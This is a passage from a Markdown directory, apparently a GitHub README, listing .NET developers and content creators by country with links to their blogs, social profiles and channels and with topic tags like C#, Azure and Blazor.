| Andrea Chiarelli | [Blog](https://andreachiarelli.it/), [Twitter](https://twitter.com/andychiare), [LinkedIn](https://www.linkedin.com/in/andreachiarelli/) | .NET, C# |
| Andrea Tosato | [Mastering Minimal APIs in ASP.NET Core (Book)](https://www.packtpub.com/product/mastering-minimal-apis-in-aspnet-core/9781803237824), [LinkedIn](https://www.linkedin.com/in/andreatosato/), [Twitter](https://twitter.com/ATosato86) | .NET, C#, ASP.NET Core
| Davide Bellone | [Blog](https://www.code4it.dev), [Twitter](https://twitter.com/BelloneDavide), [LinkedIn](https://www.linkedin.com/in/bellonedavide/) | .NET |
| Fabio Ramoni | [Twitter](https://twitter.com/developer_fabio), [Twitter Threads (GitHub)](https://github.com/FabioDeveloper92/developer_fabio_twitter_threads) | .NET, SQL |
| Marco Minerva | [Mastering Minimal APIs in ASP.NET Core (Book)](https://www.packtpub.com/product/mastering-minimal-apis-in-aspnet-core/9781803237824), [LinkedIn](https://www.linkedin.com/in/marcominerva/), [Twitter](https://twitter.com/marcominerva) | .NET, C#, ASP.NET Core
| Renato Golia | [Blog](https://renatogolia.com/), [Twitter](https://twitter.com/Kralizek), [LinkedIn](https://www.linkedin.com/in/renatogolia/), [GitHub](https://github.com/Kralizek), [Mastodon](https://dotnet.social/@rengol) | .NET, ASP.NET Core, AWS, Serverless, Architecture, Infrastructure-as-Code, CI/CD |
### Jamaica
<img src="4x3/jm.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Trevoir Williams | [YouTube](https://www.youtube.com/c/trevoirwilliams), [LinkedIn](https://www.linkedin.com/in/trevoirwilliams/), [Blog](https://www.trevoirwilliams.com/), [Udemy Profile](https://www.udemy.com/user/trevoirwilliams/) | .NET, ASP.NET Core, Azure, .NET MAUI |
### Japan
<img src="4x3/jp.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Andrew KeepCoding | [YouTube](https://www.youtube.com/c/AndrewKeepCoding/), [Twitter](https://twitter.com/AndrewKeepCodin) | WinAppSDK, WinUI 3 |
| Ted Andersen | [YouTube](https://www.youtube.com/c/TedsTech), [Twitter](https://twitter.com/TedsTechTed) | .NET, C# |
### Kosovo
<img src="4x3/xk.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Ledjon Behluli | [Blog](https://www.ledjonbehluli.com/), [Twitter](https://twitter.com/BehluliLedjon), [LinkedIn](https://www.linkedin.com/in/msc-ledjon-behluli-06b523155/) | .NET, C#, Architecture |
### Lebanon
<img src="4x3/lb.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Ahmad Mozaffar | [YouTube](https://www.youtube.com/channel/UCRs-PO48PbbS0l7bBhbu5CA), [Twitter](https://twitter.com/ahmadmozaffar99) | .NET, Azure |
| Hasan Aboul | [YouTube](https://www.youtube.com/channel/UCiLmLn593TxhOLpvbOfJFRg/featured), [YouTube](https://www.youtube.com/c/heducate) [Blog](https://learnwithhasan.com), [Twitter](https://twitter.com/h_educate) | .NET |
### Malawi
<img src="4x3/mw.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Simuzeche Kaluwa | [YouTube](https://www.youtube.com/channel/UCQw4zDb735eezImafcyYlWg), [Twitter](https://twitter.com/simuzeche) | .NET, ASP.NET Core |
### Mauritius
<img src="4x3/mu.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Patrick Smacchia | [Blog](https://blog.ndepend.com), [Twitter](https://twitter.com/ndepend), [LinkedIn](https://www.linkedin.com/in/patrick-smacchia-b0123110/) | .NET, C#, Architecture, ndepend |
### Netherlands
<img src="4x3/nl.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Albert Starreveld | [Blog](https://medium.com/@abstarreveld), [LinkedIn](https://www.linkedin.com/in/albert-starreveld/) | .NET, Azure, C# |
| Erwin Staal | [Blog](https://erwinstaal.nl/), [Twitter](https://twitter.com/erwin_staal) | DevOps, Azure |
| Fanie Reynders | [YouTube](https://youtube.com/faniereynders), [Twitch](https://twitch.tv/faniereynders), [Blog](https://reynders.co/blog/), [Twitter](https://twitter.com/FanieReynders) | .NET, Azure |
| Fons Sonnemans | [Blog](https://reflectionit.nl/blog), [Twitter](https://twitter.com/fonssonnemans), [GitHub](https://github.com/sonnemaf) | C#, .NET, ASP.NET, WinUI |
| Geert van der Cruijsen | [Blog](https://fullcycledeveloper.com/), [Twitter](https://twitter.com/geertvdc) | DevOps, Azure |
| Gerald Versluis | [YouTube](https://www.youtube.com/c/GeraldVersluis), [Blog](https://blog.verslu.is/), [Twitter](https://twitter.com/jfversluis) | .NET MAUI, Blazor, C# |
| Henrique Siebert Domareski | [Blog](https://henriquesd.medium.com), [LinkedIn](https://www.linkedin.com/in/henriquesd) | .NET, Azure |
| Louรซlla Creemers | [Blog](https://lovelacecoding.hashnode.dev/), [Twitter](https://twitter.com/lovelacecoding), [Bio.Link](https://bio.link/lovelacecoding) | .NET, C#, Architecture
| Marc Duiker | [YouTube](https://www.youtube.com/c/marcduiker-serverless), [Blog](https://blog.marcduiker.nl), [Twitter](https://twitter.com/marcduiker) | Azure Functions, Serverless |
| Max Hamulyรกk | [Blog](https://kaylumah.nl/blog), [Mastodon](https://fosstodon.org/@kaylumah@mastodon.nl), [Twitter](https://twitter.com/kaylumah), [LinkedIn](https://www.linkedin.com/in/maxhamulyak/) | .NET, C# |
| Michiel van Oudheusden | [Blog](https://mindbyte.nl/), [Mastodon](https://mastodon.social/@mivano), [Twitter](https://www.twitter.com/mivano), [LinkedIn](https://www.linkedin.com/in/michielvanoudheusden), [Newsletter](https://mindbyte.beehiiv.com) | Azure, GitHub, ALM, Remote Work |
| Rob Bos | [Blog](https://devopsjournal.io/), [Mastodon](https://fosstodon.org/@Rob_Bos@mstdn.social), [LinkedIn](https://www.linkedin.com/in/bosrob/), [GitHub](https://github.com/rajbos) | DevOps, GitHub |
| Roland Guijt | [Pluralsight](https://app.pluralsight.com/profile/author/roland-guijt), [Twitter](https://twitter.com/rolandguijt), [LinkedIn](https://www.linkedin.com/in/rolandguijt) | .NET, ASP.NET Core |
| Stacy Cashmore | [Twitter](https://twitter.com/Stacy_Cash), [Mastodon](https://tech.lgbt/@StacyClouds), [Beginning Static Web Apps with Blazor (Book)](https://link.springer.com/book/10.1007/978-1-4842-8146-8), [Blog](https://www.stacy-clouds.net/blog-posts) | .NET, Azure Static Web Apps |
### New Zealand
<img src="4x3/nz.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Jakub Chodounskรฝ | [Newsletter (csharpdigest.net)](https://csharpdigest.net/), [Twitter](https://twitter.com/jakubgarfield), [Blog](https://chodounsky.com/) | .NET|
### North Macedonia
<img src="4x3/mk.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Bojan Veljanovski | [Blog](https://bojanveljanovski.com/), [LinkedIn](https://www.linkedin.com/in/bojanv91/) | .NET, C#, SQL |
### Norway
<img src="4x3/no.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Andreas Nesheim | [Blog](https://www.andreasnesheim.no/), [Twitter](https://twitter.com/AndreasNesheim), [LinkedIn](https://www.linkedin.com/in/andreas-nesheim/) | .NET MAUI, Xamarin
| Kris Devochko | [Blog](https://kristhecodingunicorn.com/post/), [Twitter](https://twitter.com/kristhecodingu1), [LinkedIn](https://www.linkedin.com/in/krisde/) | Azure, Kubernetes |
### Pakistan
<img src="4x3/pk.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Muhammad Waseem | [.NET Newsletter](https://mwaseemzakir.substack.com/), [Twitter](https://twitter.com/mwaseemzakir), [LinkedIn](https://www.linkedin.com/in/mwaseemzakir/), [Facebook](https://facebook.com/IamMuhammadWaseemZakir), [Medium](https://medium.com/@mwaseemzakir)| .NET, C# , Entity Framework |
### Philippines
<img src="4x3/ph.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Satya Karki | [Blog](https://rijsat.com/), [LinkedIn](https://www.linkedin.com/in/satya-karki-a506b473/), [YouTube](https://www.youtube.com/@RijSat) | .NET, C# |
| Rijwan Ansari | [Blog](https://rijsat.com/), [LinkedIn](https://www.linkedin.com/in/rijwanansari/), [Twitter](https://twitter.com/rijsat), [YouTube](https://www.youtube.com/@RijSat) | .NET, C# |
### Poland
<img src="4x3/pl.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Szymon Kulec | [Blog](https://blog.scooletz.com/), [Twitter](https://twitter.com/Scooletz), [LinkedIn](https://www.linkedin.com/in/szymon-kulec/) | .NET, C# |
| Oleg Kyrylchuk | [Blog](https://blog.okyrylchuk.dev/), [Twitter](https://twitter.com/okyrylchuk), [LinkedIn](https://www.linkedin.com/in/okyrylchuk/) | .NET, C# |
| Oskar Dudycz | [Blog](https://event-driven.io/en/), [Twitter](https://twitter.com/oskar_at_net), [LinkedIn](https://www.linkedin.com/in/oskardudycz/), [Mastodon](https://hachyderm.io/@oskardudycz) | .NET, Event-Driven Architecture |
### Portugal
<img src="4x3/pt.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Antรฃo Almada | [Blog](https://antao-almada.medium.com/), [LinkedIn](https://www.linkedin.com/in/antaoalmada/) | .NET, C# |
| Guilherme Ferreira | [Blog](https://gsferreira.com), [YouTube](https://www.youtube.com/user/guilhermeasferreira), [Twitter](https://twitter.com/gsferreira), [LinkedIn](https://www.linkedin.com/in/gferreira/) | .NET, C#, Architecture |
| Joรฃo Antunes | [YouTube](https://www.youtube.com/c/CodingMilitia), [Twitter](https://twitter.com/joaofbantunes), [Blog](https://blog.codingmilitia.com), [LinkedIn](https://www.linkedin.com/in/joaofbantunes/), [Mastodon](https://mastodon.social/@joaofbantunes) | .NET, C# |
### Romania
<img src="4x3/ro.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Dan Patrascu-Baba | [YouTube](https://www.youtube.com/channel/UCyTPru-1gZ7-4qblcKM0TiQ), [Twitter](https://twitter.com/danpdc), [LinkedIn](https://www.linkedin.com/in/dan-patrascu-baba-08b78523/) | .NET, C# |
| Irina Scurtu | [Blog](https://irina.codes/), [Twitter](https://twitter.com/irina_scurtu), [GitHub](https://github.com/irinascurtu), [LinkedIn](https://www.linkedin.com/in/irinascurtu/) | .NET, C# |
| Valentin Anghel | [Blog](https://programmingcsharp.com/), [Twitter](https://twitter.com/sharpprograming) | .NET, C# |
### Serbia
<img src="4x3/rs.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Marinko Spasojevic | [Blog](https://code-maze.com/), [LinkedIn](https://www.linkedin.com/in/marinko-spasojevic-95bb023b/) | .NET, ASP.NET Core, Blazor, C# |
| Dr. Milan Milanoviฤ | [LinkedIn](https://www.linkedin.com/in/milanmilanovic/), [Blog](https://milan.milanovic.org/post/), [Twitter](https://twitter.com/milan_milanovic), [Newsletter](https://newsletter.techworld-with-milan.com/) | .NET, C#, Azure, Architecture |
| Milan Jovanoviฤ | [Blog](https://www.milanjovanovic.tech/blog), [LinkedIn](https://www.linkedin.com/in/milan-jovanovic), [YouTube](https://www.youtube.com/c/MilanJovanovicTech), [Twitter](https://twitter.com/mjovanovictech) | .NET, C#, Architecture |
| Stefan Djokic | [LinkedIn](https://www.linkedin.com/in/djokic-stefan/), [Twitter](https://twitter.com/TheCodeMan__), [Blog](https://www.exlrt.com/blog?a=stefan-djokic) | .NET, C#, Architecture, EntityFramework |
| Zoran Horvat | [Twitter](https://twitter.com/zoranh75), [Blog](https://codinghelmet.com/articles), [YouTube](https://www.youtube.com/c/zh-code) | .NET, C#, Architecture |
## South Africa
<img src="4x3/za.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Ivan Kahl | [Site](https://ivankahl.com/), [Blog](https://blog.ivankahl.com/), [YouTube](https://www.youtube.com/c/IvanKahl), [Twitter](https://twitter.com/IvanKahl) | .NET, C#
### Sweden
<img src="4x3/se.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Alan Smith | [YouTube](https://www.youtube.com/c/CloudCastsAlanSmith), [Twitter](https://twitter.com/alansmith) | Azure AI |
| Daniel Hindrikes | [Twitter](https://twitter.com/hindrikes), [YouTube](https://www.youtube.com/c/DanielHindrikes), [Blog](https://danielhindrikes.se/) | .NET MAUI, Blazor, Azure |
| Jessica Engstrom | [Podcast](https://www.codingafterwork.com/), [Twitter](https://twitter.com/engstromjess), [Twitch](https://www.twitch.tv/codingafterwork) | .NET, Blazor, Podcast |
| Jimmy Engstrรถm | [Podcast](https://www.codingafterwork.com/), [Twitter](https://twitter.com/EngstromJimmy), [Blog](https://engstromjimmy.com/) | .NET, Blazor, Podcast |
| Jonah Andersson | [Twitter](https://twitter.com/cjkodare), [Linktree](https://linktr.ee/jonahandersson), [Blog](https://jonahandersson.tech/blog/) | .NET, C#, Azure |
| Simon Wรฅhlin | [Twitter](https://twitter.com/SimonWahlin), [YouTube](https://www.youtube.com/c/SimonAutomates), [Blog](https://blog.simonw.se/) | PowerShell, Azure |
### Switzerland
<img src="4x3/ch.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Claudio Bernasconi | [YouTube](https://youtube.com/claudiobernasconi), [Twitter](https://twitter.com/CHBernasconiC), [Blog](https://www.claudiobernasconi.ch/) | .NET, .NET MAUI |
| Damien Bowden | [Blog](https://damienbod.com), [Twitter](https://twitter.com/damien_bod) | ASP.NET Core, OpenID Connect, OAuth |
| Emanuele Bartolesi | [Blog](https://dev.to/kasuken), [Blog RSS](https://dev.to/feed/kasuken), [Twitter](https://twitter.com/kasuken), [Mastering Minimal APIs in ASP.NET Core (Book)](https://www.packtpub.com/product/mastering-minimal-apis-in-aspnet-core/9781803237824) | .NET, Blazor, Azure |
| Marco Siccardi | [Blog](https://msicc.net/), [Mastodon](https://mastodon.social/@msicc), [LinkedIn](https://www.linkedin.com/in/msicc/) | .NET, C#, Xamarin
| Matthias Gรผntert | [Blog](https://www.azureblue.io/), [LinkedIn](https://www.linkedin.com/in/matthiasguentert/) | Azure, ASP.NET Core |
| Matthias Jost | [Blog](https://www.matthias-jost.ch/en/), [LinkedIn](https://www.linkedin.com/in/matthias-jost/), [Twitter](https://twitter.com/jost0101), [Bio Link](https://matthiasjost.bio.link/) | .NET, C#
| Jรผrgen Gutsch | [Blog](https://asp.net-hacker.rocks), [Twitter](https://twitter.com/sharpcms/) | ASP.NET Core |
| Steven Giesel | [Blog](https://steven-giesel.com), [LinkedIn](https://www.linkedin.com/in/steven-giesel/) | .NET, C#, Blazor |
| Wolfgang Ofner | [Blog](https://programmingwithwolfgang.com/), [LinkedIn](https://www.linkedin.com/in/wolfgangofner/), [Twitter](https://twitter.com/wolfgang_ofner) | Azure, Kubernetes |
### Turkey
<img src="4x3/tr.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Berkan Sasmaz | [Blog](https://berkansasmaz.com/), [Twitter](https://twitter.com/berkansasmazz), [LinkedIn](https://www.linkedin.com/in/berkansasmaz/) | ABP Framework, .NET, Architecture |
| Engincan Veske | [Blog](https://engincanv.github.io/), [Twitter](https://twitter.com/EngincanVeske), [LinkedIn](https://www.linkedin.com/in/engincanv/) | ABP Framework, .NET, C# |
| Furkan Gรถzรผkara | [YouTube](https://www.youtube.com/SECourses), [Twitter](https://twitter.com/gozukarafurkan), [LinkedIn](https://www.linkedin.com/in/furkangozukara/) | .NET, C#
| Okan Can Karadaฤ | [Blog](https://okankaradag.com/en/), [LinkedIn](https://www.linkedin.com/in/okancankaradag/) | .NET, C# |
### Ukraine
<img src="4x3/ua.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Oleksii Nikiforov | [Blog](https://nikiforovall.github.io), [Twitter](https://twitter.com/nikiforovall), [LinkedIn](https://www.linkedin.com/in/nikiforov-oleksii/) | .NET, C#, ASP.NET |
| Vladislav Antonyuk | [Blog](https://vladislavantonyuk.github.io), [LinkedIn](https://www.linkedin.com/in/vladislav-antonyuk) | .NET, C#, .NET MAUI, Blazor, Azure |
### United Kingdom (A-J)
<img src="4x3/gb.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Andrea Angella | [Blog](https://www.productivecsharp.com/blog/), [Site](https://www.productivecsharp.com/), [LinkedIn](https://www.linkedin.com/in/andreaangella/), [YouTube](https://www.youtube.com/c/AndreaAngella), [Twitter](https://twitter.com/angella_andrea) | .NET, C# |
| Andrew Lock | [Blog](https://andrewlock.net/), [Twitter](https://twitter.com/andrewlocknet), [LinkedIn](https://www.linkedin.com/in/andrewdlock/), [Mastodon](https://hachyderm.io/@andrewlock) | .NET, C#, ASP.NET Core |
| Anton Wieslander | [YouTube](https://www.youtube.com/c/RawCoding), [Twitter](https://twitter.com/anton_t0shik), [GitHub](https://github.com/T0shik) | .NET, C#, ASP.NET Core |
| Chris Sainty | [Twitter](https://twitter.com/chris_sainty), [Blog](https://chrissainty.com/), [Blazor in Action (Book)](https://bit.ly/blazorinaction), [Mastodon](https://mstdn.social/@chrissainty) | Blazor
| Dan Clarke | [Blog](https://www.danclarke.com/), [Podcast](https://unhandledexceptionpodcast.com/), [YouTube](https://www.youtube.com/@danclarkeuk), [Twitter](https://twitter.com/dracan), [Mastodon](https://mstdn.social/@danclarke) | Podcast, .NET|
| Dave Murray | [Blog](https://blog.taranissoftware.com/), [LinkedIn](https://www.linkedin.com/in/dave-murray-glasgow/), [Mastodon](https://mastodon.scot/@irongut) | Xamarin |
| David Grace | [Blog](https://www.roundthecode.com/), [YouTube](https://www.youtube.com/roundthecode), [Twitter](https://twitter.com/roundthecode) | .NET, C#, ASP.NET Core |
| Dustin Moris Gorski | [Blog](https://dusted.codes/), [Twitter](https://twitter.com/dustinmoris), [LinkedIn](https://www.linkedin.com/in/dustinmoris/) | .NET, C#, ASP.NET Core |
| Gavin Lon | [YouTube](https://www.youtube.com/c/GavinLon/), [GitHub](https://github.com/gavinlondigital) | .NET, Blazor |
| James Eastham | [YouTube](https://www.youtube.com/channel/UCutBMcgLfbSfRL-MB5Bskxg), [Site](https://serverlessdotnet.dev/), [Blog](https://jameseastham.co.uk/), [Mastodon](https://hachyderm.io/@plantpowerjames), [LinkedIn](https://www.linkedin.com/in/james-eastham/) | AWS, Serverless, .NET, C# |
| Jamie Maguire | [Blog](https://jamiemaguire.net/), [Twitter](https://twitter.com/jamie_maguire1), [LinkedIn Learning](https://www.linkedin.com/learning/instructors/jamie-maguire), [LinkedIn](https://www.linkedin.com/in/jamiemaguiredotnet/) | Azure AI, .NET|
| Jamie Taylor | [Podcast](https://dotnetcore.show), [Twitter](https://twitter.com/dotnetcoreshow/), [YouTube](https://www.youtube.com/c/JamieTaylorDotNetCore/videos) | Podcast, .NET|
| Jasper Kent | [YouTube](https://www.youtube.com/@CodingTutorialsAreGo), [Twitter](https://twitter.com/LastOprichnik), [LinkedIn](https://www.linkedin.com/in/jasper-kent-48a976104/) | .NET, C#
| John Reilly | [Blog](https://blog.johnnyreilly.com), [Twitter](https://twitter.com/johnny_reilly), [Mastodon](https://fosstodon.org/@johnny_reilly) | .NET|
| Jon Hilton | [Blog](https://jonhilton.net/), [Courses](https://practicaldotnet.io), [Twitter](https://twitter.com/jonhilt) | Blazor, .NET |
| Jon P Smith | [Blog](https://www.thereformedprogrammer.net), [Twitter](https://twitter.com/thereformedprog) | ASP.NET Core, EF Core |
| Jon Skeet | [Blog](https://codeblog.jonskeet.uk/), [Twitter](https://twitter.com/jonskeet), [Book](https://csharpindepth.com/), [StackOverflow](https://stackoverflow.com/users/22656/jon-skeet) | .NET, C# |
### United Kingdom (K-Z)
<img src="4x3/gb.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Carl Sargunar | [Github](https://github.com/CarlSargunar), [Twitch](https://www.twitch.tv/carlcod_es), [Twitter](https://twitter.com/carlcod_es), [LinkedIn](https://www.linkedin.com/in/carl-sargunar-63b5814/), [Site](https://carlcod.es/) | .NET, C#, Docker, Umbraco, Maui |
| Layla Porter | [Twitch](https://www.twitch.tv/laylacodesit), [Twitter](https://twitter.com/LaylaCodesIt), [LinkedIn](https://www.linkedin.com/in/layla-porter), [Site](https://www.layla.dev/) | .NET, C# |
| Luke Malpass | [YouTube](https://youtube.com/c/angelsix), [GitHub](https://github.com/angelsix), [Twitter](https://twitter.com/angelsixuk) | .NET, C#, Avalonia UI, WPF |
| Mark Heath | [Pluralsight](https://app.pluralsight.com/profile/author/mark-heath), [Blog](https://markheath.net), [Twitter](https://twitter.com/mark_heath) | .NET, ASP.NET Core, Azure |
| Mark Oliver | [Twitter](https://twitter.com/MicbOliver), [Blog](https://blog.markoliver.website/), [Blog RSS](https://blog.markoliver.website/rss.xml), [LinkedIn](https://www.linkedin.com/in/profileformarkoliver/) | C#, .NET
| Micheal Colhoun | [Blog](https://colhountech.com/blog/), [Twitter](https://twitter.com/colhountech), [YouTube](https://www.youtube.com/channel/UC-mHR47cULEfJHvk49t1zQA/videos) | .NET, C#, Azure
| Mike Brind | [Twitter](https://twitter.com/mikesdotnetting), [Blog](https://www.mikesdotnetting.com/), [LinkedIn](https://www.linkedin.com/in/mike-brind/) | C#, .NET |
| Mike Irving | [Blog](https://www.mike-irving.co.uk), [GitHub](https://github.com/mikeirvingweb), [Twitter](https://twitter.com/mikeirvingweb) | .NET, C#, Mobile |
| Mohamad Lawand | [YouTube](https://www.youtube.com/c/MohamadLawand), [Blog](https://dev.to/moe23), [Twitter](https://twitter.com/Moe23) | ASP.NET Core, .NET |
| Nick Chapsas | [YouTube](https://www.youtube.com/c/Elfocrash), [Site](https://nickchapsas.com/), [Twitter](https://twitter.com/nickchapsas), [GitHub](https://github.com/Elfocrash) | .NET, C# |
| Paul Michaels | [Twitter](https://twitter.com/paul_michaels), [Blog](https://pmichaels.net/) | .NET, C#, Architecture |
| Peter Foot | [Blog](https://inthehand.com/blog), [GitHub](https://github.com/peterfoot), [Twitter](https://twitter.com/peterfoot) | .NET, C#, Mobile |
| Peter Morris | [Site](https://blazor-university.com), [Twitter](https://twitter.com/MrPeterLMorris), [GitHub](https://github.com/mrpmorris/) | Blazor |
Poornima Nayar | [Blog](https://poornimanayar.co.uk/), [Twitter](https://twitter.com/PoornimaNayar), [GitHub](https://github.com/poornimanayar) | .NET, C#
| Scott Wlaschin | [Site](https://fsharpforfunandprofit.com), [Twitter](https://twitter.com/ScottWlaschin) | F# |
| Steve Gordon | [Pluralsight](https://app.pluralsight.com/profile/author/steve-gordon), [Twitter](https://twitter.com/stevejgordon), [Blog](https://www.stevejgordon.co.uk/), [Mastodon](https://fosstodon.org/@stevejgordon) | .NET, C# |
| Stuart Blackler | [YouTube](https://www.youtube.com/c/CodeWithStu/videos), [LinkedIn](https://www.linkedin.com/in/im5tu/), [Blog](https://im5tu.io/article/), [Twitter](https://twitter.com/CodeWithStu) | .NET, C# |
### USA (A-F)
<img src="4x3/us.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Adnan Rafiq | [Blog](https://adnanrafiq.com/blog/), [Mastodon](https://hachyderm.io/@adnanrafiq) | .NET, C#, SQL |
| Brendan Enrick | [YouTube](https://www.youtube.com/c/DevChatter/), [Blog](https://brendoneus.com/), [Twitch](https://www.twitch.tv/DevChatter), [Twitter](https://twitter.com/brendoneus) | .NET, C#, ASP.NET Core |
| Bryan Hogan | [Podcast](https://nodogmapodcast.bryanhogan.net/), [Blog](https://nodogmablog.bryanhogan.net/), [Twitter](https://twitter.com/bryanjhogan), [LinkedIn](https://www.linkedin.com/in/bryanjhogan/) | .NET, Podcast |
| Chris Patterson | [YouTube](https://www.youtube.com/c/PhatBoyG), [Twitter](https://twitter.com/PhatBoyG), [LinkedIn](https://www.linkedin.com/in/chrispatterson/) | MassTransit |
| Chris Woodruff | [Blog](https://woodruff.dev/), [LinkedIn](https://www.linkedin.com/in/chriswoodruff/), [Twitter](https://twitter.com/cwoodruff), [Mastodon](https://mastodon.social/@cwoodruff) | .NET, C#, Web APIs, EFCore, MSSQL |
| Carl Franklin | [Podcast](https://www.dotnetrocks.com/), [BlazorTrain YouTube](https://www.youtube.com/playlist?list=PL8h4jt35t1wjvwFnvcB2LlYL4jLRzRmoz), [Twitter](https://twitter.com/carlfranklin) | Blazor |
| Caleb Wells | [Twiter](https://twitter.com/calebwellscodes), [Podcast](https://topenddevs.com/podcasts/adventures-in-net) | .NET, C#
| David McCarter | [Blog](https://dotnettips.wordpress.com/), [Live Show](https://www.c-sharpcorner.com/live/rockin-the-code-world-with-dotnetdave), [Twitter](https://twitter.com/realDotNetDave) | .NET, C# |
| David Pine | [Blog](https://davidpine.net/blog), [Twitter](https://twitter.com/davidpine7), [Mastodon](https://fosstodon.org/@davidpine@dotnet.social), [Learning Blazor (Book)](https://bit.ly/learning-blazor) | Blazor
| Eric Sink | [Twitter](https://twitter.com/eric_sink), [Blog](https://ericsink.com/) | .NET, C#|
| Frank A. Krueger | [Twitter](https://twitter.com/praeclarum), [Podcast (Merge Conflict)](https://www.mergeconflict.fm/), [Blog](https://praeclarum.org/) | .NET MAUI, .NET, Podcast
### USA (G-L)
<img src="4x3/us.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Hassan Rezk Habib | [Blog](https://hassanhabib.com/blog/), [Twitter](https://twitter.com/HassanRezkHabib), [LinkedIn](https://www.linkedin.com/in/hassanrezkhabib/recent-activity/shares/), [linktree](https://linktr.ee/hassanrezkhabib) | .NET |
| John Savill | [YouTube](https://www.youtube.com/c/NTFAQGuy), [Twitter](https://twitter.com/NTFAQGuy), [LinkedIn](https://www.linkedin.com/in/john-savill/) | Azure |
| James Montemagno | [YouTube](https://www.youtube.com/c/JamesMontemagno), [Twitter](https://twitter.com/jamesmontemagno), [LinkedIn](https://linkedin.com/in/jamesmontemagno), [Blog](https://montemagno.com), [Podcast](https://www.mergeconflict.fm/) | .NET MAUI, .NET, Podcast |
| Jeffrey T. Fritz | [YouTube](https://www.youtube.com/c/csharpfritz/), [Twitch](https://www.twitch.tv/csharpfritz), [linktree](https://linktr.ee/csharpfritz) | .NET, ASP.NET Core |
| Jeremy Sinclair | [Blog](https://sinclairinat0r.com/), [Twitter](https://twitter.com/sinclairinat0r), [LinkedIn](https://www.linkedin.com/in/jeremy-sinclair-39b6256/) | .NET, C# |
| Jesse Liberty | [Blog](https://jesseliberty.com/), [Blog RSS](http://feeds.feedburner.com/JesseLiberty), [Mastodon](https://hachyderm.io/@jesseliberty), [Podcast](https://jesseliberty.com/podcast), [Other](https://jesseliberty.com/find-me) | .NET, C#, .NET MAUI, git |
| Jimmy Bogard | [Blog](https://jimmybogard.com/), [LinkedIn](https://www.linkedin.com/in/jimmybogard/), [Twitter](https://twitter.com/jbogard) | AutoMapper, .NET |
| Julie Lerman | [Twitter](https://twitter.com/julielerman) | EF Core, .NET |
| Kendra Havens | [Twitter](https://twitter.com/gotheap) | .NET |
| Kevin Bost | [YouTube](https://www.youtube.com/c/KevinBost), [Twitter](https://twitter.com/kitokeboo) | WPF, .NET |
| Khalid Abuhakmeh | [Blog](https://khalidabuhakmeh.com/), [Twitter](https://twitter.com/buhakmeh), [Mastodon](https://fosstodon.org/@khalidabuhakmeh@mastodon.social) | .NET, C# |
| Lee Richardson | [Blog](http://www.leerichardson.com/), [Twitter](https://twitter.com/lprichar), [LinkedIn](https://www.linkedin.com/in/leerichardson/), [YouTube](https://www.youtube.com/@LeeRichardson200/) | .NET, C#, .NET MAUI |
### USA (M-Z)
<img src="4x3/us.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Maclain Wiltzer (Mak) and Yasmin Rodriguez | [Blog](https://makolyte.com/), [Twitter](https://twitter.com/makolyte), [LinkedIn Page](https://www.linkedin.com/company/makolyte/) | .NET, C#, ASP.NET Core
| Matt Eland | [Blog](https://NewDevsGuide.com/) (Coding), [Blog](https://AccessibleAI.dev/) (AI/ML), [YouTube](https://MattOnDataScience.com), [Twitter](https://twitter.com/IntegerMan) | .NET, C#, ML.NET |
| Michael Eaton | [Blog](https://samestuffdifferentday.net/), [Mastodon](https://fosstodon.org/@mjeaton@our.devchatter.com), [GitHub](https://github.com/mjeaton), [LinkedIn](https://www.linkedin.com/in/mjeaton/) | .NET, C#
| Niels Swimberghe | [Blog](https://swimburger.net), [Twitter](https://twitter.com/RealSwimburger), [LinkedIn](https://www.linkedin.com/in/nielsswimberghe/) | .NET |
| Richard Campbell | [Podcast Site](https://www.dotnetrocks.com), [Podcast on Bullhorn.fm](https://www.bullhorn.fm/dotnetrocks) | .NET |
| Rick Strahl | [Blog](https://weblog.west-wind.com/), [Twitter](https://twitter.com/rickstrahl) | .NET, C#, Markdown |
| Rockford Lhotka | [Blog](https://blog.lhotka.net), [Mastodon](https://fosstodon.org/@rockylhotka), [Twitter](https://www.twitter.com/rockylhotka) | .NET |
| Saar Shen | [Site](https://www.codewithsaar.net/), [YouTube](https://youtube.com/c/CodewithSaar), [Twitter](https://twitter.com/SaarShen), [Twitter](https://twitter.com/CodeWithSaar) | .NET, C# |
| Scott Hanselman | [YouTube](https://www.youtube.com/channel/UCL-fHOdarou-CR2XUmK48Og), [Podcast](https://www.hanselminutes.com/), [Mastodon](https://hachyderm.io/@shanselman) | .NET |
| Sean Killeen | [Blog](https://seankilleen.com/), [Twitter](https://twitter.com/sjkilleen), [Mastodon](https://mastodon.social/@sjkilleen), [YouTube](https://www.youtube.com/SeanKilleen), [LinkedIn](https://linkedin.com/in/SeanKilleen) | .NET, C#, Automated Testing, Azure, Terraform |
| Shawn Clabough | [Twitter](https://twitter.com/DotNetSuperhero), [Podcast](https://topenddevs.com/podcasts/adventures-in-net) | .NET, C#
